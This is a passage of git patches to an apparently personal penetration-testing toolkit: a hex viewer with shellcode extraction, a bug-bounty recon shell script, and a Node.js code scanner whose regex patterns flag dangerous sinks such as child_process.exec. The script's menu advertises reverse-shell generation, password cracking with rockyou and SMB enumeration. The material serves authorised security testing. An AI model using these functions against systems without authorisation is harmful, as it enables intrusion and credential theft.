"41474433": "FreeHand 8 document", + "05070000424F424F": "AppleWorks 5 document", + "0607E100424F424F": "AppleWorks 6 document", + "455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "8B455202000000": "Roxio Toast disc image file, also some .dmg-files begin with same bytes", + "7801730D626260": "Apple Disk Image file", + "78617221": "eXtensible ARchive format", + "504D4F43434D4F43": "Windows Files And Settings Transfer Repository", + "4E45531A": "Nintendo Entertainment System ROM file", + "7573746172003030": "tar archive", + "7573746172202000": "tar archive", + "746F7833": "Open source portable voxel file", + "4D4C5649": "Magic Lantern Video file", + "44434D0150413330": "Windows Update Binary Delta Compression", + "377ABCAF271C": "7-Zip File Format", + "1F8B": "GZIP file", + "FD377A585A0000": "XZ compression utility using LZMA/LZMA2 compression", + "04224D18": "LZ4 Frame Format", + "4D534346": "Microsoft Cabinet file", + "535A444488F02733": "Microsoft compressed file in Quantum format", + "464C4946": "Free Lossless Image Format", + "1A45DFA3": "Matroska media container, including WebM", + "3082": "DER encoded X.509 certificate", + "4449434D": "DICOM Medical File Format", + "774F4646": "WOFF File Format 1.0", + "774F4632": "WOFF File Format 2.0", + "3c3f786d6c20": "eXtensible Markup Language (xml) when using the ASCII character encoding", + "0061736d": "WebAssembly binary format", + "cf8401": "Lepton compressed JPEG image", + "435753": "flash .swf", + "465753": "flash .swf", + "213C617263683E": "linux deb file", + "52494646": "Google WebP image file", + "27051956": "U-Boot / uImage. Das U-Boot Universal Boot Loader", + "7B5C72746631": "Rich Text Format", + "54415045": "Microsoft Tape Format", + "000001BA": "MPEG Program Stream (MPEG-1 Part 1 (essentially identical) and MPEG-2 Part 1)", + "000001B3": "MPEG Program Stream; MPEG Transport Stream; MPEG-1 video and MPEG-2 video (MPEG-1 Part 2 and MPEG-2 Part 2)", + "7801": "zlib (No Compression/low)", + "789c": "zlib (Default Compression)", + "78da": "zlib (Best Compression)", + "1F8B0800": "Minecraft Level Data File (NBT)", + "62767832": "LZFSE - Lempel-Ziv style data compression algorithm using Finite State Entropy coding. (bvx2)", + "4F5243": "Apache ORC (Optimized Row Columnar) file format", + "4F626A01": "Apache Avro binary file format", + "53455136": "RCFile columnar file format", + "65877856": "PhotoCap Object Templates", + "5555aaaa": "PhotoCap Vector", + "785634": "PhotoCap Template", + "50415231": "Apache Parquet columnar file format", + "454D5832": "Emulator Emaxsynth samples", + "454D5533": "Emulator III synth samples", + "1B4C7561": "Lua bytecode", } COLORS = { - "black": '\33[0;30m', - "white": '\33[0;37m', - "red": '\33[0;31m', - "green": '\33[0;32m', - "green_bg": '\33[1;32m\33[41m', - "yellow": '\33[0;33m', - "yellow_bg": '\33[1;33m\33[41m', - "blue": '\33[0;34m', - "magenta": '\33[0;35m', - "magenta_bg": '\33[1;35m\33[41m', - "cyan": '\33[0;36m', - "grey": '\33[0;90m', - "lightgrey": '\33[0;37m', - "lightblue": '\33[0;94m' + "black": "\33[0;30m", + "white": "\33[0;37m", + "red": "\33[0;31m", + "green": "\33[0;32m", + "green_bg": "\33[1;32m\33[41m", + "yellow": "\33[0;33m", + "yellow_bg": "\33[1;33m\33[41m", + "blue": "\33[0;34m", + "magenta": "\33[0;35m", + "magenta_bg": "\33[1;35m\33[41m", + "cyan": "\33[0;36m", + "grey": "\33[0;90m", + "lightgrey": "\33[0;37m", + "lightblue": "\33[0;94m", } # some globals upper_case = False - def file_type(file_signature): """ Recognize file type based on file 'magic numbers' """ file_signature = binascii.hexlify(file_signature).upper() - recognized = 'ASCII text (no file signature found)' + recognized = "ASCII text (no file signature found)" for signature in FILE_SIGNATURES: - if file_signature.startswith(signature.upper()): + if file_signature.decode('utf-8').startswith(signature.upper()): recognized = FILE_SIGNATURES[signature] - return "{}\n[+] File type: {}{}{}".format(COLORS['cyan'], COLORS['yellow'], recognized, COLORS['white']) + return "{}\n[+] File type: {}{}{}".format( + COLORS["cyan"], COLORS["yellow"], recognized, COLORS["white"] + ) def char_type(c): """ Returns char type depends on its ASCII code """ + print(c) if 32 < ord(c) < 128: return ASCII if ord(c) <= 16: @@ -193,45 +195,46 @@ def make_color(c, df_c=False): Formats color for byte depends on if it's printable ASCII """ global upper_case - + retval = "" # for file diff - if characters are different, use bg color for char: diff = (c != df_c) if df_c != False else False # printable ASCII: if char_type(c) == ASCII: if diff: retval = "{}{:02X}{}".format( - COLORS['green_bg'], ord(c), COLORS['white']) + COLORS["green_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['green'], ord(c), COLORS['white']) + COLORS["green"], ord(c), COLORS["white"]) if char_type(c) == OTHER: if diff: retval = "{}{:02X}{}".format( - COLORS['yellow_bg'], ord(c), COLORS['white']) + COLORS["yellow_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['yellow'], ord(c), COLORS['white']) + COLORS["yellow"], ord(c), COLORS["white"]) if char_type(c) == CTRL: if diff: retval = "{}{:02X}{}".format( - COLORS['magenta_bg'], ord(c), COLORS['white']) + COLORS["magenta_bg"], ord(c), COLORS["white"]) else: retval = "{}{:02X}{}".format( - COLORS['magenta'], ord(c), COLORS['white']) + COLORS["magenta"], ord(c), COLORS["white"]) - return (retval if upper_case else retval.lower()) + return retval if upper_case else retval.lower() def format_text(c): """ Formats color for character depends on if it's printable ASCII """ + retval = "" if char_type(c) == ASCII: - retval = "{}{}{}".format(COLORS['lightblue'], c, COLORS['white']) + retval = "{}{}{}".format(COLORS["lightblue"], c, COLORS["white"]) if char_type(c) == CTRL: - retval = "{}.{}".format(COLORS['magenta'], COLORS['white']) + retval = "{}.{}".format(COLORS["magenta"], COLORS["white"]) if char_type(c) == OTHER: - retval = "{}.{}".format(COLORS['yellow'], COLORS['white']) + retval = "{}.{}".format(COLORS["yellow"], COLORS["white"]) return retval @@ -241,14 +244,25 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): """ if dec: if df_chunk: - return " ".join("{}:{}{:#04}{} ".format(make_color(c, df_c), COLORS['grey'], - ord(c), COLORS['white']) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) - return " ".join("{}:{}{:#04}{} ".format(make_color(c), COLORS['grey'], - ord(c), COLORS['white']) for c in chunk[start:stop]) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c, df_c), COLORS["grey"], ord( + c), COLORS["white"] + ) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) + return " ".join( + "{}:{}{:#04}{} ".format( + make_color(c), COLORS["grey"], ord(c), COLORS["white"] + ) + for c in chunk[start:stop] + ) else: if df_chunk: - return " ".join("{} ".format(make_color(c, df_c)) - for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop])) + return " ".join( + "{} ".format(make_color(c, df_c)) + for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) + ) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) @@ -261,14 +275,27 @@ def extract_shellcode(start, end, read_binary): s = read_binary.read(end - start) for c in s: if ord(c) == 0: - shellcode = shellcode + "{}".format(COLORS['red']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) + shellcode = ( + shellcode + + "{}".format(COLORS["red"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) else: - shellcode = shellcode + "{}".format(COLORS['yellow']) + str( - hex(ord(c))).replace("0x", "\\x") + "{}".format(COLORS['white']) - print("\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format(COLORS['cyan'], start, end, COLORS['white'])) + shellcode = ( + shellcode + + "{}".format(COLORS["yellow"]) + + str(hex(ord(c))).replace("0x", "\\x") + + "{}".format(COLORS["white"]) + ) + print( + "\n{}[+] Shellcode extracted from byte(s) {:#08x} to {:#08x}:{}".format( + COLORS["cyan"], start, end, COLORS["white"] + ) + ) print("\n{}\n".format(shellcode)) + if __name__ == "__main__": """ main program routine @@ -279,55 +306,70 @@ def extract_shellcode(start, end, read_binary): parser = argparse.ArgumentParser() parser.add_argument("file", help="Specify a file") parser.add_argument( - "-d", "--decimal", help="Display DEC values with HEX", action="store_true") - parser.add_argument( - "-s", "--start", help="Start byte") - parser.add_argument( - "-e", "--end", help="End byte") + "-d", "--decimal", help="Display DEC values with HEX", action="store_true" + ) + parser.add_argument("-s", "--start", help="Start byte") + parser.add_argument("-e", "--end", help="End byte") + parser.add_argument("-D", "--diff", help="Perform diff with FILENAME") parser.add_argument( - "-D", "--diff", help="Perform diff with FILENAME") + "-S", + "--shellcode", + help="Extract shellcode (-s and -e has to be passed)", + action="store_true", + ) parser.add_argument( - "-S", "--shellcode", help="Extract shellcode (-s and -e has to be passed)", action="store_true") - parser.add_argument( - "-u", "--uppercase", help="Display output using uppercase characters", action="store_true") - - args = parser.parse_args() + "-u", + "--uppercase", + help="Display output using uppercase characters", + action="store_true", + ) + + arguments = parser.parse_args() + print(arguments) b = 16 + diff_file = None # for -D / --diff - second file has to be opened # https://github.com/bl4de/security-tools/issues/22 [RESOLVED] - if args.diff: - diff_file = open(args.diff, 'rb') + if arguments.diff: + diff_file = open(arguments.diff, "rb") - if args.uppercase: + if arguments.uppercase: upper_case = True - - if args.file: - # read first 8 bytes to recognize file type - print(file_type(open(args.file, 'rb').read(8))) - with open(args.file, 'rb') as infile: - if args.start > -1 and args.end and (int(args.start, 16) > -1 and int(args.end, 16) > int(args.start, 16)): - __FROM = int(args.start, 16) - __TO = int(args.end, 16) + if arguments.file: + # read first 8 bytes to recognize file type + print(file_type(open(arguments.file, "rb").read(8))) + + with open(arguments.file, "rb") as infile: + if ( + arguments.start is not None and int(arguments.start) > -1 + and arguments.end is not None and (int(arguments.end) > 1) + and ( + int(arguments.start, 16) > - + 1 and int(arguments.end, 16) > int(arguments.start, 16) + ) + ): + __FROM = int(arguments.start, 16) + __TO = int(arguments.end, 16) else: - __TO = os.path.getsize(args.file) + __TO = os.path.getsize(arguments.file) - if args.shellcode and __FROM > -1 and __TO: + if arguments.shellcode and __FROM > -1 and __TO: extract_shellcode(__FROM, __TO, infile) infile.seek(__FROM) - if args.diff: + if arguments.diff is not None: diff_file.seek(__FROM) offset = __FROM - print("{}[+] Hex dump: {}\n".format(COLORS['cyan'], COLORS['white'])) + print("{}[+] Hex dump: {}\n".format(COLORS["cyan"], COLORS["white"])) while offset < __TO: chunk = infile.read(b) - if args.diff: + if arguments.diff is not None: df_chunk = diff_file.read(b) else: df_chunk = False @@ -336,47 +378,61 @@ def extract_shellcode(start, end, read_binary): break text = str(chunk) - text = ''.join([format_text(i) for i in text]) + text = "".join([format_text(i) for i in text]) - output = "{}{:#08x}{}".format( - COLORS['cyan'], offset, COLORS['white']) + ": " + output = ( + "{}{:#08x}{}".format( + COLORS["cyan"], offset, COLORS["white"]) + ": " + ) output += format_chunk(chunk, 0, 4, - df_chunk, args.decimal) + " " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 4, 8, - df_chunk, args.decimal) + " " + df_chunk, arguments.decimal) + " " output += format_chunk(chunk, 8, 12, - df_chunk, args.decimal) + " " - output += format_chunk(chunk, 12, 16, df_chunk, args.decimal) + df_chunk, arguments.decimal) + " " + output += format_chunk(chunk, 12, 16, + df_chunk, arguments.decimal) - if args.diff: + if arguments.diff is not None: df_text = str(df_chunk) - df_text = ''.join([format_text(i) for i in df_text]) - - df_output = " " + \ - format_chunk(df_chunk, 0, 4, chunk, - args.decimal) + " " - df_output += format_chunk(df_chunk, - 4, 8, chunk, args.decimal) + " " - df_output += format_chunk(df_chunk, - 8, 12, chunk, args.decimal) + " " - df_output += format_chunk(df_chunk, 12, - 16, chunk, args.decimal) + df_text + df_text = "".join([format_text(i) for i in df_text]) + + df_output = ( + " " + + format_chunk(df_chunk, 0, 4, chunk, + arguments.decimal) + + " " + ) + df_output += ( + format_chunk(df_chunk, 4, 8, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 8, 12, chunk, + arguments.decimal) + " " + ) + df_output += ( + format_chunk(df_chunk, 12, 16, chunk, + arguments.decimal) + df_text + ) if len(chunk) % b != 0: - if args.decimal: + if arguments.decimal: output += " " * (((b * 2) - 4 - len(chunk))) + text - if args.diff: - df_output += " " * \ + if arguments.diff: + df_output += ( + " " * (((b * 2) - 4 - len(df_chunk))) + df_text + ) else: output += " " * (b + 4 - len(chunk)) + text - if args.diff: + if arguments.diff: df_output += " " * \ (b + 4 - len(df_chunk)) + df_text else: output += " " + text - if args.diff: + if arguments.diff: output += df_output print(output) From 3ca0862e1c58dbbcad8a350175a9d94bf442d387 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 29 Mar 2022 08:55:35 +0100 Subject: [PATCH 192/369] [hexview] 'TypeError: ord() expected string of length 1, but int found' - in progress --- hexview/hexview.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/hexview/hexview.py b/hexview/hexview.py index 2b23b41..3a146d5 100755 --- a/hexview/hexview.py +++ b/hexview/hexview.py @@ -182,7 +182,6 @@ def char_type(c): """ Returns char type depends on its ASCII code """ - print(c) if 32 < ord(c) < 128: return ASCII if ord(c) <= 16: @@ -263,6 +262,7 @@ def format_chunk(chunk, start, stop, df_chunk=False, dec=False): "{} ".format(make_color(c, df_c)) for c, df_c in itertools.izip(chunk[start:stop], df_chunk[start:stop]) ) + print("TU: ", [c for c in chunk[start:stop]]) return " ".join("{} ".format(make_color(c)) for c in chunk[start:stop]) From 0456a4471d461ab35073aebcc13f5ebece45fc04 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 31 Mar 2022 12:17:02 +0100 Subject: [PATCH 193/369] [s0mbra] lookaround - added sublister --- s0mbra.sh | 16 ++++++++++++++-- 1 file changed, 14 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index bdfd35a..cadb294 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -204,18 +204,30 @@ lookaround() { START_TIME=$(date) echo -e "$BLUE[s0mbra] Let's see what we've got here...$CLR\n" + # sublister + echo -e "\n$GREEN--> sublister$CLR\n" + for domain in $(cat scope); do + sublister -v -d $domain -o "$TMPDIR/s0mbra_recon_sublister_$domain.tmp" + done + # subfinder echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -nW -all -v -dL $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp + # prepare list of uniqe subdomains + cat s0mbra_recon_sub* > step1 + sed 's/
/#/g' step1 | tr '#' '\n' > step2 + sort -u -k 1 step2 > s0mbra_recon_subdomains_final.tmp + rm -f step* + # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subdomains_final.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp END_TIME=$(date) echo -e "$GREEN\nstarted at: $RED $START_TIME $GREEN" echo -e "finished at: $RED $END_TIME $GREEN\n" - echo -e " $GRAY subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subfinder.tmp` | cut -d" " -f 1) $GRAY subdomains" + echo -e " $GRAY sublister+subfinder found \t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_subdomains_final.tmp` | cut -d" " -f 1) $GRAY subdomains" echo -e " $GRAY httpx found \t\t $YELLOW $(echo `wc -l $TMPDIR/s0mbra_recon_httpx.tmp` | cut -d" " -f 1) $GRAY active web servers $GREEN" echo -e " $GRAY HTTP servers responding 200 OK: $CLR\n" grep 200 $TMPDIR/s0mbra_recon_httpx.tmp From c408820b00bfd65b1ba876f22bcc58b4a85a52e6 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 18 Apr 2022 12:39:53 +0100 Subject: [PATCH 194/369] [s0mbra] Added phpcs for PHP static analysis --- s0mbra.sh | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index cadb294..1f6235a 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -533,6 +533,13 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +php_sast() { + clear + echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" + phpcs --colors -vs $1 + echo -e "$BLUE\n[s0mbra] Done! $CLR" +} + apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -658,6 +665,9 @@ case "$cmd" in snyktest) snyktest ;; + phpsast) + php_sast "$2" + ;; gql) gql "$2" ;; @@ -754,6 +764,7 @@ case "$cmd" in echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" + echo -e "\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" From e8422394b4ccc9bdb0efb2836ab378b862ea1974 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 21 Apr 2022 13:54:56 +0100 Subject: [PATCH 195/369] [s0mbra] Comments --- s0mbra.sh | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 1f6235a..566091b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -500,6 +500,7 @@ s3go() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# coverts .dex file to .jar archive dex_to_jar() { clear echo -e "$BLUE[s0mbra] Exporting $1 into .jar...$CLR" @@ -507,12 +508,14 @@ dex_to_jar() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# unpack .jar archive unjar() { clear echo -e "$BLUE[s0mbra] Opening $1 in JD-Gui...$CLR" java -jar /Users/bl4de/hacking/tools/Java_Decompilers/jd-gui-1.6.3.jar $1 } +# runs disassembly agains binary disass() { clear echo -e "$BLUE[s0mbra] Disassembling $1, saving to 1.asm..." @@ -520,12 +523,14 @@ disass() { echo -e "\n$BLUE[s0mbra] Done." } +# runs Java decompiler jadx jadx() { clear echo -e "$BLUE[s0mbra] Opening $1 in JADX...$CLR" /Users/bl4de/hacking/tools/Java_Decompilers/jadx/bin/jadx-gui $1 } +# executes graphql-cop against GraphQL endpoint gql() { clear echo -e "$BLUE[s0mbra] Running GraphQL-Cop against $1...$CYAN" @@ -533,6 +538,7 @@ gql() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# runs PHP SAST tools against PHP application php_sast() { clear echo -e "$BLUE[s0mbra] Running phpcs against $1...$CYAN" @@ -540,6 +546,7 @@ php_sast() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# deso stuff with Android APK file apk() { clear echo -e "$BLUE[s0mbra] OK, let's see this APK...$CLR" @@ -553,6 +560,7 @@ apk() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# extracts Androind .ab archive abe() { clear echo -e "$BLUE[s0mbra] Extracting $1.ab backup into $1.tar...$CLR" @@ -570,6 +578,7 @@ abe() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# generates reverse shells in various languages for given IP:PORT generate_shells() { clear port=$2 @@ -604,18 +613,21 @@ generate_shells() { echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# looks for default credentials in service/software/hardware defcreds() { echo -e "$BLUE[s0mbra] Looking for default credentials for $1...$CLR" creds search $1 echo -e "$BLUE\n[s0mbra] Done! $CLR" } +# decodes Base64 string b64() { echo -e "$BLUE[s0mbra] Decoding Base64 string...$CLR" echo $1 | base64 -D echo -e "$BLUE\n[s0mbra] Done! $CLR" } +### menu cmd=$1 clear From 786daa1f2077116e182f36d9107e02d666b7aa55 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 22 Apr 2022 19:54:47 +0100 Subject: [PATCH 196/369] [pef] Fix for levels --- pef/pef.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pef/pef.py b/pef/pef.py index e4e133c..070a7f0 100755 --- a/pef/pef.py +++ b/pef/pef.py @@ -157,7 +157,7 @@ def run(self): parser.add_argument( "-r", "--recursive", help="scan PHP files recursively in directory pointed by -f/--file", action="store_true") parser.add_argument( - "-l", "--level", help="severity level: ALL, LOW, MEDIUM or level; default - ALL") + "-l", "--level", help="severity level: ALL, LOW, MEDIUM, HIGH or CRITICAL; default - ALL") parser.add_argument( "-f", "--file", help="File or directory name to scan (if directory name is provided, make sure -r/--recursive is set)") args = parser.parse_args() From 460c1962d026e4ab12e61b4c9e8aafae808243bf Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Thu, 28 Apr 2022 11:01:51 +0100 Subject: [PATCH 197/369] [nodestructor] Refactoring --- nodestructor/nodestructor.py | 1 - 1 file changed, 1 deletion(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index c36a9e8..142a894 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -59,7 +59,6 @@ ".*child_process", ".*child_process.exec\(", ".*\sFunction\(", - ".*execFile\(", ".*spawn\(", ".*fork\(", ".*setImmediate\(", From 8ac415ad0f6651503fa47b302125f5f7aafc0301 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 29 Apr 2022 00:34:03 +0100 Subject: [PATCH 198/369] [nodestructor] Refactoring --- nodestructor/nodestructor.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/nodestructor/nodestructor.py b/nodestructor/nodestructor.py index 142a894..be199fb 100755 --- a/nodestructor/nodestructor.py +++ b/nodestructor/nodestructor.py @@ -61,14 +61,10 @@ ".*\sFunction\(", ".*spawn\(", ".*fork\(", - ".*setImmediate\(", ".*newBuffer\(", ".*\.constructor\(", ".*mysql\.createConnection\(", ".*\.query\(", -] - -npm_patterns = [ ".*serialize\(", ".*unserialize\(" ] From 43b213984db6e11aa1383e1582aec0cec9f9d8c9 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sat, 30 Apr 2022 11:23:26 +0100 Subject: [PATCH 199/369] [s0mbra] Menu refactoring --- s0mbra.sh | 92 ++++++++++++++++++++++++++----------------------------- 1 file changed, 44 insertions(+), 48 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 566091b..81b1cca 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -740,53 +740,49 @@ case "$cmd" in *) clear echo -e "$GREEN I'm guessing there's no chance we can take care of this quietly, is there? - S0mbra$CLR" - echo -e "--------------------------------------------------------------------------------------------------------------" - echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}$CLR\n" - echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t$CLR" - echo -e "\t$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO http/https]$CLR\t -> recon; options: nmap|nikto|vhosts|ffuf|feroxbuster|x8" - echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" - echo -e "$BLUE_BG:: WEB ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> webapp resource enumeration with ffuf (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN fufilter $GRAY[URL] [DICT] [SIZE] [*EXT/*ENDSLASH.]$CLR\t -> webapp resource enumeration with ffuf; filter out resp. size SIZE (DICT: starter, lowercase, wordlist etc.)" - echo -e "\t$CYAN b64 $GRAY[STRING]$CLR\t\t\t\t\t -> decodes Base64 string" - echo -e "\t$CYAN apifuzz $GRAY[BASE_HREF] [ENDPOINTS]$CLR\t\t -> fuzzing API endpoints with httpie" - echo -e "\t$CYAN gql $GRAY[TARGET_URL]$CLR\t\t$YELLOW(GraphQL)$CLR\t -> checking GraphQL endpoint for known vulnerabilities with graphql-cop" - echo -e "$BLUE_BG:: CLOUD ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t$YELLOW(AWS)$CLR\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" - echo -e "\t$CYAN s3go $GRAY[bucket] [key]$CLR\t\t$YELLOW(AWS)$CLR\t\t -> get object identified by [key] from AWS S3 [bucket]" - echo -e "$BLUE_BG:: PENTEST TOOLS ::\t\t\t\t\t$CLR" - echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" - echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN http $GRAY[PORT]$CLR\t\t\t\t\t -> runs HTTP server on [PORT] TCP port" - echo -e "\t$CYAN generate_shells $GRAY[IP] [PORT] $CLR\t\t\t -> generates ready-to-use reverse shells in various languages for given IP:PORT" - echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" - echo -e "$BLUE_BG:: SMB SUITE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN smb_enum $GRAY[IP] [USER] [PASSWORD]$CLR\t\t -> enumerates SMB shares on [IP] as [USER] (eg. null) (445 port has to be open)" - echo -e "\t$CYAN smb_get_file $GRAY[IP] [user] [password] [PATH] $CLR\t -> downloads file from SMB share [PATH] on [IP]" - echo -e "\t$CYAN smb_mount $GRAY[IP] [SHARE] [USER]$CLR\t\t\t -> mounts SMB share at ./mnt/shares" - echo -e "\t$CYAN smb_umount $CLR\t\t\t\t\t -> unmounts SMB share from ./mnt/shares and deletes it" - echo -e "$BLUE_BG:: PASSWORDS CRACKIN' ::\t\t\t\t$CLR" - echo -e "\t$CYAN rockyou_john $GRAY[TYPE] [HASHES]$CLR\t\t\t -> runs john+rockyou against [HASHES] file with hashes of type [TYPE]" - echo -e "\t$CYAN ssh_to_john $GRAY[ID_RSA]$CLR\t\t\t\t -> id_rsa to JTR SSH hash file for SSH key password cracking" - echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" - echo -e "\t$CYAN defcreds $GRAY[DEVICE/SYSTEM]$CLR\t\t\t -> default credentials for DEVICE or SYSTEM" - echo -e "$BLUE_BG:: SAST ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN um $GRAY[FILE]\t\t\t$YELLOW(JavaScript)$CLR\t -> un-minifies JS file" - echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" - echo -e "\t$CYAN pysast $GRAY[DIR]\t\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" - echo -e "\t$CYAN phpsast $GRAY[DIR]\t\t\t$YELLOW(PHP)$CLR\t\t -> Static Code Analysis of PHP dir(s)/file(s) with phpcs" - echo -e "$BLUE_BG:: RE ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN disass $GRAY[BINARY]\t\t$YELLOW(asm)$CLR\t\t -> disassembels BINARY and saves to 1.asm in the same directory" - echo -e "\t$CYAN unjar $GRAY[.jar FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" - echo -e "$BLUE_BG:: ANDROID ::\t\t\t\t\t\t$CLR" - echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" - echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t$YELLOW(Java)$CLR\t\t -> exports .dex file into .jar" - echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t$YELLOW(Java)$CLR\t\t -> extracts APK file and run apktool on it" - echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t$YELLOW(Java)$CLR\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" - - echo -e "\n--------------------------------------------------------------------------------------------------------------" - echo -e "$GREEN Hack The Planet!\n$CLR" + echo -e "$BLUE_BG:: BUG BOUNTY RECON ::\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t$CLR" + echo -e "$CYAN lookaround $GRAY[DOMAIN]$CLR\t\t\t\t -> just look around... (subfinder + httpx on discovered hosts)" + echo -e "$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf (one tool at the time on all hosts)" + echo -e "$CYAN ransack $GRAY[HOST] [OPTIONS] [PROTO 